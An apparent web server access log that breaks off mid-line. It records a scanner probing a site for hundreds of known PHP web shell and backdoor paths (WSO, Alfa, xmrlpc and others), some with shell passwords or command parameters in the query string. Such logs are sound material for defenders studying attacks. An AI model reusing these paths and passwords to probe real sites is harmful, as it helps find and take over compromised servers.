52.138.175.243 - - [18/Apr/2025:08:39:00 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:01 -0400] "GET /.well-known/pki-validation/dropdown.php?pass=yanz HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:01 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:01 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:02 -0400] "GET /.well-known/pki-validation/muse.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:02 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:03 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:03 -0400] "GET /.well-known/pki-validation/pwnd.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:04 -0400] "GET /.well-known/pki-validation/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:04 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:05 -0400] "GET /.well-known/pki-validation/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:05 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:05 -0400] "GET /.well-known/s.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:06 -0400] "GET /.well-known/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:06 -0400] "GET /.well-known/ws.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:07 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:07 -0400] "GET /.well-knownold/wso112233.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:08 -0400] "GET /.wp-cli/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:08 -0400] "GET //.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:09 -0400] "GET //.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:09 -0400] "GET //.well-known/acme-challenge/my1.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:10 -0400] "GET //.well-known/acme-challenge/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:10 -0400] "GET //.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:10 -0400] "GET //.well-known/pki-validation/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:11 -0400] "GET //1.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:11 -0400] "GET //404.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:12 -0400] "GET //a.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:12 -0400] "GET //about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:13 -0400] "GET //about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:13 -0400] "GET //admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:13 -0400] "GET //alfanew.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:14 -0400] "GET //alfanew.php7 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:14 -0400] "GET //autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:15 -0400] "GET //bp.php?taf HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:15 -0400] "GET //cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:16 -0400] "GET //cgi-bin/my1.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:16 -0400] "GET //cgi-bin/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:17 -0400] "GET //chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:17 -0400] "GET //chosen.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:17 -0400] "GET //cjfuns.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:18 -0400] "GET //classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:18 -0400] "GET //cong.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:19 -0400] "GET //content.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:19 -0400] "GET //content.php?pass=dadsec HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:20 -0400] "GET //dropdown.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:20 -0400] "GET //ee.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:21 -0400] "GET //en/tinyfilemanager.html HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:21 -0400] "GET //file.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:22 -0400] "GET //file2.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:22 -0400] "GET //fm.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:22 -0400] "GET //gebase.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:23 -0400] "GET //index/function.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:23 -0400] "GET //info.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:24 -0400] "GET //item.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:25 -0400] "GET //jp.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:25 -0400] "GET //k.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:26 -0400] "GET //mah/function.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:26 -0400] "GET //mini.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:26 -0400] "GET //moon.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:27 -0400] "GET //radio.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:27 -0400] "GET //repeater.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:28 -0400] "GET //root.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:28 -0400] "GET //santiago-oriente56.degustamenu.com/wp-includes/hlVYmeOAvcd.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:29 -0400] "GET //shell.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:29 -0400] "GET //shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:29 -0400] "GET //simple.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:30 -0400] "GET //test.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:30 -0400] "GET //user.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:31 -0400] "GET //wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:31 -0400] "GET //wp-add-admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:32 -0400] "GET //wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:32 -0400] "GET //wp-admin/admin-ajax.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:32 -0400] "GET //wp-admin/class-db.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:33 -0400] "GET //wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:33 -0400] "GET //wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:34 -0400] "GET //wp-admin/css/colors/coffee/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:34 -0400] "GET //wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:35 -0400] "GET //wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:35 -0400] "GET //wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:36 -0400] "GET //wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:36 -0400] "GET //wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:36 -0400] "GET //wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:37 -0400] "GET //wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:37 -0400] "GET //wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:37 -0400] "GET //wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:38 -0400] "GET //wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:38 -0400] "GET //wp-admin/maint/moon.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:39 -0400] "GET //wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:39 -0400] "GET //wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:39 -0400] "GET //wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:40 -0400] "GET //wp-admin/network/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:40 -0400] "GET //wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:41 -0400] "GET //wp-admin/user/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:41 -0400] "GET //wp-blog.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:42 -0400] "GET //wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:42 -0400] "GET //wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:43 -0400] "GET //wp-content/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:43 -0400] "GET //wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:44 -0400] "GET //wp-content/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:44 -0400] "GET //wp-content/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:45 -0400] "GET //wp-content/index.php?pass=cfwk HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:45 -0400] "GET //wp-content/index.php?pass=xleet HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:46 -0400] "GET //wp-content/item.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:46 -0400] "GET //wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:47 -0400] "GET //wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:47 -0400] "GET //wp-content/plugins/ango/sett.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:48 -0400] "GET //wp-content/plugins/hellopress/wp_mna.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:48 -0400] "GET //wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:49 -0400] "GET //wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:49 -0400] "GET //wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:49 -0400] "GET //wp-content/themes/index.php?pass=admin HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:50 -0400] "GET //wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:50 -0400] "GET //wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:51 -0400] "GET //wp-content/themes/twentyseventeen/page/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:51 -0400] "GET //wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:52 -0400] "GET //wp-content/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:52 -0400] "GET //wp-includes/ID3/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:53 -0400] "GET //wp-includes/IXR/chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:53 -0400] "GET //wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:54 -0400] "GET //wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:55 -0400] "GET //wp-includes/blocks/table/them/tmpl/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:55 -0400] "GET //wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:55 -0400] "GET //wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:56 -0400] "GET //wp-includes/js/chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:56 -0400] "GET //wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:57 -0400] "GET //wp-includes/js/tinymce/skins/lightgray/img/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:57 -0400] "GET //wp-includes/pomo/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:58 -0400] "GET //wp-includes/style-engine/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:58 -0400] "GET //wp-includes/theme-compat/chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:59 -0400] "GET //ws.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:59 -0400] "GET //zwso.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:59 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:00 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:00 -0400] "GET /02.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:00 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:01 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:01 -0400] "GET /1.php7 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:02 -0400] "GET /1.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:02 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:03 -0400] "GET /11index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:04 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:05 -0400] "GET /123.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:05 -0400] "GET /12wudscz.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:06 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:07 -0400] "GET /1xm.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:08 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:10 -0400] "GET /22.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:11 -0400] "GET /22.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:11 -0400] "GET /24.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:12 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:12 -0400] "GET /3index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:13 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:14 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:14 -0400] "GET /4Oj8Ed6N1tu.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:15 -0400] "GET /4Q.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:16 -0400] "GET /6.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:17 -0400] "GET /7.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:17 -0400] "GET /WSO.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:18 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:19 -0400] "GET /a.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:19 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:20 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:21 -0400] "GET /ab.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:22 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:22 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:22 -0400] "GET /about.php?525 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:23 -0400] "GET /about.php?dir=/home/prsvnvn/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:23 -0400] "GET /about.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:24 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:24 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:25 -0400] "GET /about/function.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:25 -0400] "GET /access.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:26 -0400] "GET /admin HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:26 -0400] "GET /admin-footer.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:27 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:27 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:28 -0400] "GET /admin.php/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:28 -0400] "GET /admin.php7 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:28 -0400] "GET /admin.php?attempt=1 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:29 -0400] "GET /admin.php?debug=on&cmd=upload HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:29 -0400] "GET /admin.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:30 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:30 -0400] "GET /admin//function.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:30 -0400] "GET /admin/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:31 -0400] "GET /admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:31 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:32 -0400] "GET /admin/controller/extension/extension/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:32 -0400] "GET /admin/controller/extension/extension/ultra.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:33 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:33 -0400] "GET /admin/fckeditor/editor/filemanager/updates.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:34 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:35 -0400] "GET /admin/function.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:36 -0400] "GET /admin/index_upload.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:36 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:38 -0400] "GET /admin/upload/themes-install.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [18/Apr/2025:08:40:38 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "get_local:DCV" 52.138.175.243 - - [18/Apr/2025:08:40:38 -0400] "GET /admin2.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:39 -0400] "GET /admin_logs.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:39 -0400] "GET /adminer.php?db=stealth HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [18/Apr/2025:08:40:40 -0400] "GET /.well-known/pki-validation//parx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 52.138.175.243 - - [18/Apr/2025:08:40:40 -0400] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:40 -0400] "GET /administrator/templates/bluestork/error.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [18/Apr/2025:08:40:40 -0400] "GET /.well-known/pki-validation/43e0da16-f4f8-4f0a-91d6-f41bf52aec3f.php HTTP/1.1" 301 795 "-" "get_local:DCV" 52.138.175.243 - - [18/Apr/2025:08:40:41 -0400] "GET /administrator/templates/hathor/index.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [18/Apr/2025:08:40:41 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 52.138.175.243 - - [18/Apr/2025:08:40:42 -0400] "GET /administrator/templates/isis/error.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:43 -0400] "GET /al.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [18/Apr/2025:08:40:43 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "get_local:DCV" 52.138.175.243 - - [18/Apr/2025:08:40:44 -0400] "GET /alf.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [18/Apr/2025:08:40:44 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "get_local:DCV" 52.138.175.243 - - [18/Apr/2025:08:40:44 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [18/Apr/2025:08:40:45 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 52.138.175.243 - - [18/Apr/2025:08:40:45 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:45 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [18/Apr/2025:08:40:46 -0400] "GET /.well-known/pki-validation/cux.php HTTP/1.1" 301 795 "-" "get_local:DCV" 52.138.175.243 - - [18/Apr/2025:08:40:46 -0400] "GET /alfanew.PHP7 HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [18/Apr/2025:08:40:46 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 52.138.175.243 - - [18/Apr/2025:08:40:46 -0400] "GET /alfanew.PhP7 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:47 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [18/Apr/2025:08:40:47 -0400] "GET /.well-known/pki-validation/dropdown.php%3fpass=yanz HTTP/1.1" 301 795 "-" "get_local:DCV" 52.138.175.243 - - [18/Apr/2025:08:40:47 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [18/Apr/2025:08:40:48 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "get_local:DCV" 52.138.175.243 - - [18/Apr/2025:08:40:48 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:48 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [18/Apr/2025:08:40:49 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 52.138.175.243 - - [18/Apr/2025:08:40:49 -0400] "GET /ans.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:50 -0400] "GET /api.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [18/Apr/2025:08:40:50 -0400] "GET /.well-known/pki-validation/muse.php HTTP/1.1" 301 795 "-" "get_local:DCV" 52.138.175.243 - - [18/Apr/2025:08:40:50 -0400] "GET 